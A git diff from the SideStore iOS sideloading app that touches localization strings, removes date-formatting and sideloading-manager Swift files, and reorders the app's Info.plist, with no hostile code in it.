internal static let resetImageCache = L10n.tr("Localizable", "SettingsView.resetImageCache", fallback: "Reset Image Cache")
|
||||
/// SwiftUI Redesign
|
||||
internal static let swiftUIRedesign = L10n.tr("Localizable", "SettingsView.swiftUIRedesign", fallback: "SwiftUI Redesign")
|
||||
/// Switch to UIKit
|
||||
internal static let switchToUIKit = L10n.tr("Localizable", "SettingsView.switchToUIKit", fallback: "Switch to UIKit")
|
||||
/// Settings
|
||||
internal static let title = L10n.tr("Localizable", "SettingsView.title", fallback: "Settings")
|
||||
internal enum ConnectedAppleID {
|
||||
/// E-Mail
|
||||
internal static let eMail = L10n.tr("Localizable", "SettingsView.ConnectedAppleID.eMail", fallback: "E-Mail")
|
||||
/// SettingsView
|
||||
internal static let name = L10n.tr("Localizable", "SettingsView.ConnectedAppleID.name", fallback: "Name")
|
||||
/// Sign Out
|
||||
internal static let signOut = L10n.tr("Localizable", "SettingsView.ConnectedAppleID.signOut", fallback: "Sign Out")
|
||||
/// Connected Apple ID
|
||||
internal static let text = L10n.tr("Localizable", "SettingsView.ConnectedAppleID.text", fallback: "Connected Apple ID")
|
||||
/// Type
|
||||
internal static let type = L10n.tr("Localizable", "SettingsView.ConnectedAppleID.type", fallback: "Type")
|
||||
internal enum Footer {
|
||||
/// Your Apple ID is required to sign the apps you install with SideStore.
|
||||
internal static let p1 = L10n.tr("Localizable", "SettingsView.ConnectedAppleID.Footer.p1", fallback: "Your Apple ID is required to sign the apps you install with SideStore.")
|
||||
/// Your credentials are only sent to Apple's servers and are not accessible by the SideStore Team. Once successfully logged in, the login details are stored securely on your device.
|
||||
internal static let p2 = L10n.tr("Localizable", "SettingsView.ConnectedAppleID.Footer.p2", fallback: "Your credentials are only sent to Apple's servers and are not accessible by the SideStore Team. Once successfully logged in, the login details are stored securely on your device.")
|
||||
}
|
||||
}
|
||||
}
|
||||
internal enum SourcesView {
|
||||
/// Done
|
||||
internal static let done = L10n.tr("Localizable", "SourcesView.done", fallback: "Done")
|
||||
/// Remove
|
||||
internal static let remove = L10n.tr("Localizable", "SourcesView.remove", fallback: "Remove")
|
||||
/// SideStore has reviewed these sources to make sure they meet our safety standards.
|
||||
internal static let reviewedText = L10n.tr("Localizable", "SourcesView.reviewedText", fallback: "SideStore has reviewed these sources to make sure they meet our safety standards.")
|
||||
/// Sources
|
||||
internal static let sources = L10n.tr("Localizable", "SourcesView.sources", fallback: "Sources")
|
||||
/// SourcesView
|
||||
internal static let sourcesDescription = L10n.tr("Localizable", "SourcesView.sourcesDescription", fallback: "Sources control what apps are available to download through SideStore.")
|
||||
/// Trusted Sources
|
||||
internal static let trustedSources = L10n.tr("Localizable", "SourcesView.trustedSources", fallback: "Trusted Sources")
|
||||
}
|
||||
}
|
||||
// swiftlint:enable explicit_type_interface function_parameter_count identifier_name line_length
|
||||
// swiftlint:enable nesting type_body_length type_name vertical_whitespace_opening_braces
|
||||
|
||||
// MARK: - Implementation Details
|
||||
|
||||
extension L10n {
|
||||
private static func tr(_ table: String, _ key: String, _ args: CVarArg..., fallback value: String) -> String {
|
||||
let format = BundleToken.bundle.localizedString(forKey: key, value: value, table: table)
|
||||
return String(format: format, locale: Locale.current, arguments: args)
|
||||
}
|
||||
}
|
||||
|
||||
// swiftlint:disable convenience_type
|
||||
private final class BundleToken {
|
||||
static let bundle: Bundle = {
|
||||
#if SWIFT_PACKAGE
|
||||
return Bundle.module
|
||||
#else
|
||||
return Bundle(for: BundleToken.self)
|
||||
#endif
|
||||
}()
|
||||
}
|
||||
// swiftlint:enable convenience_type
|
||||
@@ -1,72 +0,0 @@
|
||||
//
|
||||
// DateFormatterHelper.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
struct DateFormatterHelper {
|
||||
|
||||
private static let appExpirationDateFormatter: DateComponentsFormatter = {
|
||||
let dateComponentsFormatter = DateComponentsFormatter()
|
||||
dateComponentsFormatter.zeroFormattingBehavior = [.pad]
|
||||
dateComponentsFormatter.collapsesLargestUnit = false
|
||||
return dateComponentsFormatter
|
||||
}()
|
||||
|
||||
private static let relativeDateFormatter: RelativeDateTimeFormatter = {
|
||||
let formatter = RelativeDateTimeFormatter()
|
||||
formatter.unitsStyle = .abbreviated
|
||||
return formatter
|
||||
}()
|
||||
|
||||
private static let mediumDateFormatter: DateFormatter = {
|
||||
let dateFormatter = DateFormatter()
|
||||
dateFormatter.dateStyle = .medium
|
||||
dateFormatter.timeStyle = .none
|
||||
dateFormatter.doesRelativeDateFormatting = true
|
||||
return dateFormatter
|
||||
}()
|
||||
|
||||
private static let timeFormatter: DateFormatter = {
|
||||
let dateFormatter = DateFormatter()
|
||||
dateFormatter.dateStyle = .none
|
||||
dateFormatter.timeStyle = .short
|
||||
return dateFormatter
|
||||
}()
|
||||
|
||||
|
||||
|
||||
static func string(forExpirationDate date: Date) -> String {
|
||||
let startDate = Date()
|
||||
let interval = date.timeIntervalSince(startDate)
|
||||
guard interval > 0 else {
|
||||
return "EXPIRED"
|
||||
}
|
||||
|
||||
if interval < (24 * 60 * 60) {
|
||||
self.appExpirationDateFormatter.unitsStyle = .positional
|
||||
self.appExpirationDateFormatter.allowedUnits = [.minute, .second]
|
||||
} else {
|
||||
self.appExpirationDateFormatter.unitsStyle = .full
|
||||
self.appExpirationDateFormatter.allowedUnits = [.day]
|
||||
}
|
||||
|
||||
return self.appExpirationDateFormatter.string(from: startDate, to: date) ?? ""
|
||||
}
|
||||
|
||||
static func string(forRelativeDate date: Date, to referenceDate: Date = Date()) -> String {
|
||||
self.relativeDateFormatter.localizedString(for: date, relativeTo: referenceDate)
|
||||
}
|
||||
|
||||
static func string(for date: Date) -> String {
|
||||
self.mediumDateFormatter.string(from: date)
|
||||
}
|
||||
|
||||
static func timeString(for date: Date) -> String {
|
||||
self.timeFormatter.string(from: date)
|
||||
}
|
||||
}
|
||||
@@ -1,254 +0,0 @@
|
||||
//
|
||||
// SideloadingManager.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import CoreData
|
||||
import AltStoreCore
|
||||
import CAltSign
|
||||
import Roxas
|
||||
|
||||
// TODO: Move this to the AppManager
|
||||
class SideloadingManager {
|
||||
class Context {
|
||||
var fileURL: URL?
|
||||
var application: ALTApplication?
|
||||
var installedApp: InstalledApp? {
|
||||
didSet {
|
||||
self.installedAppContext = self.installedApp?.managedObjectContext
|
||||
}
|
||||
}
|
||||
private var installedAppContext: NSManagedObjectContext?
|
||||
var error: Error?
|
||||
}
|
||||
|
||||
|
||||
public static let shared = SideloadingManager()
|
||||
|
||||
@Published
|
||||
public var progress: Progress?
|
||||
|
||||
private let operationQueue = OperationQueue()
|
||||
|
||||
private init() {}
|
||||
|
||||
|
||||
// TODO: Refactor & convert to async
|
||||
func sideloadApp(at url: URL, completion: @escaping (Result<Void, Error>) -> Void) {
|
||||
self.progress = Progress.discreteProgress(totalUnitCount: 100)
|
||||
|
||||
let temporaryDirectory = FileManager.default.uniqueTemporaryURL()
|
||||
let unzippedAppDirectory = temporaryDirectory.appendingPathComponent("App")
|
||||
|
||||
let context = Context()
|
||||
|
||||
let downloadOperation: RSTAsyncBlockOperation?
|
||||
|
||||
if url.isFileURL {
|
||||
downloadOperation = nil
|
||||
context.fileURL = url
|
||||
self.progress?.totalUnitCount -= 20
|
||||
} else {
|
||||
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||
|
||||
downloadOperation = RSTAsyncBlockOperation { (operation) in
|
||||
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in
|
||||
do
|
||||
{
|
||||
let (fileURL, _) = try Result((fileURL, response), error).get()
|
||||
|
||||
try FileManager.default.createDirectory(at: temporaryDirectory, withIntermediateDirectories: true, attributes: nil)
|
||||
|
||||
let destinationURL = temporaryDirectory.appendingPathComponent("App.ipa")
|
||||
try FileManager.default.moveItem(at: fileURL, to: destinationURL)
|
||||
|
||||
context.fileURL = destinationURL
|
||||
}
|
||||
catch
|
||||
{
|
||||
context.error = error
|
||||
}
|
||||
operation.finish()
|
||||
}
|
||||
downloadProgress.addChild(downloadTask.progress, withPendingUnitCount: 100)
|
||||
downloadTask.resume()
|
||||
}
|
||||
self.progress?.addChild(downloadProgress, withPendingUnitCount: 20)
|
||||
}
|
||||
|
||||
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||
let unzipAppOperation = BlockOperation {
|
||||
do
|
||||
{
|
||||
if let error = context.error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
|
||||
defer {
|
||||
try? FileManager.default.removeItem(at: fileURL)
|
||||
}
|
||||
|
||||
try FileManager.default.createDirectory(at: unzippedAppDirectory, withIntermediateDirectories: true, attributes: nil)
|
||||
let unzippedApplicationURL = try FileManager.default.unzipAppBundle(at: fileURL, toDirectory: unzippedAppDirectory)
|
||||
|
||||
guard let application = ALTApplication(fileURL: unzippedApplicationURL) else { throw OperationError.invalidApp }
|
||||
context.application = application
|
||||
|
||||
unzipProgress.completedUnitCount = 1
|
||||
}
|
||||
catch
|
||||
{
|
||||
context.error = error
|
||||
}
|
||||
}
|
||||
self.progress?.addChild(unzipProgress, withPendingUnitCount: 10)
|
||||
|
||||
if let downloadOperation = downloadOperation
|
||||
{
|
||||
unzipAppOperation.addDependency(downloadOperation)
|
||||
}
|
||||
|
||||
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||
|
||||
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
||||
do
|
||||
{
|
||||
if let error = context.error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self?.removeAppExtensions(from: application) { (result) in
|
||||
switch result
|
||||
{
|
||||
case .success: removeAppExtensionsProgress.completedUnitCount = 1
|
||||
case .failure(let error): context.error = error
|
||||
}
|
||||
operation.finish()
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
context.error = error
|
||||
operation.finish()
|
||||
}
|
||||
}
|
||||
removeAppExtensionsOperation.addDependency(unzipAppOperation)
|
||||
self.progress?.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
|
||||
|
||||
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||
let installAppOperation = RSTAsyncBlockOperation { (operation) in
|
||||
do
|
||||
{
|
||||
if let error = context.error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||
|
||||
let group = AppManager.shared.install(application, presentingViewController: nil) { (result) in
|
||||
switch result
|
||||
{
|
||||
case .success(let installedApp): context.installedApp = installedApp
|
||||
case .failure(let error): context.error = error
|
||||
}
|
||||
operation.finish()
|
||||
}
|
||||
installProgress.addChild(group.progress, withPendingUnitCount: 100)
|
||||
}
|
||||
catch
|
||||
{
|
||||
context.error = error
|
||||
operation.finish()
|
||||
}
|
||||
}
|
||||
installAppOperation.completionBlock = {
|
||||
try? FileManager.default.removeItem(at: temporaryDirectory)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.progress = nil
|
||||
|
||||
switch Result(context.installedApp, context.error)
|
||||
{
|
||||
case .success(let app):
|
||||
completion(.success(()))
|
||||
|
||||
app.managedObjectContext?.perform {
|
||||
print("Successfully installed app:", app.bundleIdentifier)
|
||||
}
|
||||
|
||||
case .failure(OperationError.cancelled):
|
||||
completion(.failure((OperationError.cancelled)))
|
||||
|
||||
case .failure(let error):
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
|
||||
completion(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
self.progress?.addChild(installProgress, withPendingUnitCount: 65)
|
||||
installAppOperation.addDependency(removeAppExtensionsOperation)
|
||||
|
||||
let operations = [downloadOperation, unzipAppOperation, removeAppExtensionsOperation, installAppOperation].compactMap { $0 }
|
||||
self.operationQueue.addOperations(operations, waitUntilFinished: false)
|
||||
}
|
||||
|
||||
|
||||
// TODO: Refactor
|
||||
private func removeAppExtensions(from application: ALTApplication, completion: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
guard !application.appExtensions.isEmpty else { return completion(.success(())) }
|
||||
|
||||
let firstSentence: String
|
||||
|
||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
||||
{
|
||||
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions.", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to creating 10 App IDs per week.", comment: "")
|
||||
}
|
||||
|
||||
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
|
||||
|
||||
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
|
||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
|
||||
completion(.failure(OperationError.cancelled))
|
||||
}))
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
|
||||
completion(.success(()))
|
||||
})
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
|
||||
do
|
||||
{
|
||||
for appExtension in application.appExtensions
|
||||
{
|
||||
try FileManager.default.removeItem(at: appExtension.fileURL)
|
||||
}
|
||||
|
||||
completion(.success(()))
|
||||
}
|
||||
catch
|
||||
{
|
||||
completion(.failure(error))
|
||||
}
|
||||
})
|
||||
|
||||
let rootViewController = UIApplication.shared.keyWindow?.rootViewController
|
||||
rootViewController?.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
@@ -1,210 +1,212 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>ALTAppGroups</key>
|
||||
<array>
|
||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
</array>
|
||||
<key>ALTDeviceID</key>
|
||||
<string>00008101-000129D63698001E</string>
|
||||
<key>ALTServerID</key>
|
||||
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
||||
<key>ALTPairingFile</key>
|
||||
<string><insert pairing file here></string>
|
||||
<key>ALTAnisetteURL</key>
|
||||
<string>https://ani.sidestore.io</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleDocumentTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>CFBundleTypeName</key>
|
||||
<string>iOS App</string>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Viewer</string>
|
||||
<key>LSHandlerRank</key>
|
||||
<string>Alternate</string>
|
||||
<key>LSItemContentTypes</key>
|
||||
<array>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>$(EXECUTABLE_NAME)</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>$(PRODUCT_NAME)</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||
<true/>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>$(MARKETING_VERSION)</string>
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>AltStore General</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>altstore</string>
|
||||
<string>sidestore</string>
|
||||
</array>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>AltStore Backup</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>altstore-com.rileytestut.AltStore</string>
|
||||
<string>sidestore-com.SideStore.SideStore</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>INIntentsSupported</key>
|
||||
<array>
|
||||
<string>RefreshAllIntent</string>
|
||||
<string>ViewAppIntent</string>
|
||||
</array>
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
<string>altstore-com.rileytestut.AltStore</string>
|
||||
<string>altstore-com.rileytestut.AltStore.Beta</string>
|
||||
<string>altstore-com.rileytestut.Delta</string>
|
||||
<string>altstore-com.rileytestut.Delta.Beta</string>
|
||||
<string>altstore-com.rileytestut.Delta.Lite</string>
|
||||
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
|
||||
<string>altstore-com.rileytestut.Clip</string>
|
||||
<string>altstore-com.rileytestut.Clip.Beta</string>
|
||||
</array>
|
||||
<key>LSRequiresIPhoneOS</key>
|
||||
<true/>
|
||||
<key>NSBonjourServices</key>
|
||||
<array>
|
||||
<string>_altserver._tcp</string>
|
||||
</array>
|
||||
<key>NSLocalNetworkUsageDescription</key>
|
||||
<string>SideStore uses the local network to find and communicate with your device.</string>
|
||||
<key>NSUserActivityTypes</key>
|
||||
<array>
|
||||
<string>RefreshAllIntent</string>
|
||||
<string>ViewAppIntent</string>
|
||||
</array>
|
||||
<key>UIApplicationSceneManifest</key>
|
||||
<dict>
|
||||
<key>UIApplicationSupportsMultipleScenes</key>
|
||||
<true/>
|
||||
<key>UISceneConfigurations</key>
|
||||
<dict>
|
||||
<key>UIWindowSceneSessionRoleApplication</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>UISceneConfigurationName</key>
|
||||
<string>Default Configuration</string>
|
||||
<key>UISceneDelegateClassName</key>
|
||||
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
|
||||
<key>UISceneStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>UIBackgroundModes</key>
|
||||
<array>
|
||||
<string>audio</string>
|
||||
<string>fetch</string>
|
||||
<string>remote-notification</string>
|
||||
</array>
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>NSAppTransportSecurity</key>
|
||||
<dict>
|
||||
<key>NSAllowsArbitraryLoads</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>UIMainStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
<key>UIStatusBarTintParameters</key>
|
||||
<dict>
|
||||
<key>UINavigationBar</key>
|
||||
<dict>
|
||||
<key>Style</key>
|
||||
<string>UIBarStyleDefault</string>
|
||||
<key>Translucent</key>
|
||||
<false/>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>UISupportedInterfaceOrientations</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
</array>
|
||||
<key>UISupportedInterfaceOrientations~ipad</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
<string>UIInterfaceOrientationPortraitUpsideDown</string>
|
||||
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||
</array>
|
||||
<key>UTImportedTypeDeclarations</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>public.data</string>
|
||||
</array>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>iOS App</string>
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<key>ALTAppGroups</key>
|
||||
<array>
|
||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
</array>
|
||||
<key>ALTDeviceID</key>
|
||||
<string>00008101-000129D63698001E</string>
|
||||
<key>ALTPairingFile</key>
|
||||
<string><insert pairing file here></string>
|
||||
<key>ALTServerID</key>
|
||||
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
||||
<key>ALTAnisetteURL</key>
|
||||
<string>https://ani.sidestore.io</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleDocumentTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<string>ipa</string>
|
||||
</dict>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>com.apple.plist</string>
|
||||
</array>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>Mobile Device Pairing</string>
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>org.sidestore.mobiledevicepairing</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<key>CFBundleTypeIconFiles</key>
|
||||
<array />
|
||||
<key>CFBundleTypeName</key>
|
||||
<string>iOS App</string>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Viewer</string>
|
||||
<key>LSHandlerRank</key>
|
||||
<string>Alternate</string>
|
||||
<key>LSItemContentTypes</key>
|
||||
<array>
|
||||
<string>mobiledevicepairing</string>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>$(EXECUTABLE_NAME)</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>$(PRODUCT_NAME)</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>$(MARKETING_VERSION)</string>
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>AltStore General</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>altstore</string>
|
||||
<string>sidestore</string>
|
||||
</array>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>AltStore Backup</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>altstore-com.rileytestut.AltStore</string>
|
||||
<string>sidestore-com.SideStore.SideStore</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>INIntentsSupported</key>
|
||||
<array>
|
||||
<string>RefreshAllIntent</string>
|
||||
<string>ViewAppIntent</string>
|
||||
</array>
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
<string>altstore-com.rileytestut.AltStore</string>
|
||||
<string>altstore-com.rileytestut.AltStore.Beta</string>
|
||||
<string>altstore-com.rileytestut.Delta</string>
|
||||
<string>altstore-com.rileytestut.Delta.Beta</string>
|
||||
<string>altstore-com.rileytestut.Delta.Lite</string>
|
||||
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
|
||||
<string>altstore-com.rileytestut.Clip</string>
|
||||
<string>altstore-com.rileytestut.Clip.Beta</string>
|
||||
</array>
|
||||
<key>LSRequiresIPhoneOS</key>
|
||||
<true />
|
||||
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||
<true />
|
||||
<key>NSAppTransportSecurity</key>
|
||||
<dict>
|
||||
<key>NSAllowsArbitraryLoads</key>
|
||||
<true />
|
||||
</dict>
|
||||
<key>NSAppleMusicUsageDescription</key>
|
||||
<string>So that we can bypass the 3 app limit and disable revokes.</string>
|
||||
<key>NSBonjourServices</key>
|
||||
<array>
|
||||
<string>_altserver._tcp</string>
|
||||
</array>
|
||||
<key>NSLocalNetworkUsageDescription</key>
|
||||
<string>SideStore uses the local network to find and communicate with your device.</string>
|
||||
<key>NSUserActivityTypes</key>
|
||||
<array>
|
||||
<string>RefreshAllIntent</string>
|
||||
<string>ViewAppIntent</string>
|
||||
</array>
|
||||
<key>UIApplicationSceneManifest</key>
|
||||
<dict>
|
||||
<key>UIApplicationSupportsMultipleScenes</key>
|
||||
<true />
|
||||
<key>UISceneConfigurations</key>
|
||||
<dict>
|
||||
<key>UIWindowSceneSessionRoleApplication</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>UISceneConfigurationName</key>
|
||||
<string>Default Configuration</string>
|
||||
<key>UISceneDelegateClassName</key>
|
||||
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
|
||||
<key>UISceneStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
</array>
|
||||
<key>UIFileSharingEnabled</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
<key>UIBackgroundModes</key>
|
||||
<array>
|
||||
<string>audio</string>
|
||||
<string>fetch</string>
|
||||
<string>remote-notification</string>
|
||||
</array>
|
||||
<key>UIFileSharingEnabled</key>
|
||||
<true />
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>UIMainStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
<key>UIStatusBarTintParameters</key>
|
||||
<dict>
|
||||
<key>UINavigationBar</key>
|
||||
<dict>
|
||||
<key>Style</key>
|
||||
<string>UIBarStyleDefault</string>
|
||||
<key>Translucent</key>
|
||||
<false />
|
||||
</dict>
|
||||
</dict>
|
||||
<key>UISupportedInterfaceOrientations</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
</array>
|
||||
<key>UISupportedInterfaceOrientations~ipad</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
<string>UIInterfaceOrientationPortraitUpsideDown</string>
|
||||
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||
</array>
|
||||
<key>UTImportedTypeDeclarations</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>public.data</string>
|
||||
</array>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>iOS App</string>
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array />
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<string>ipa</string>
|
||||
</dict>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>com.apple.plist</string>
|
||||
</array>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>Mobile Device Pairing</string>
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array />
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>org.sidestore.mobiledevicepairing</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<array>
|
||||
<string>mobiledevicepairing</string>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -6,25 +6,21 @@
|
||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import SwiftUI
|
||||
import Roxas
|
||||
import EmotionalDamage
|
||||
import minimuxer
|
||||
import Roxas
|
||||
import UIKit
|
||||
|
||||
import AltStoreCore
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
let pairingFileName = "ALTPairingFile.mobiledevicepairing"
|
||||
|
||||
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
||||
{
|
||||
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate {
|
||||
private var didFinishLaunching = false
|
||||
|
||||
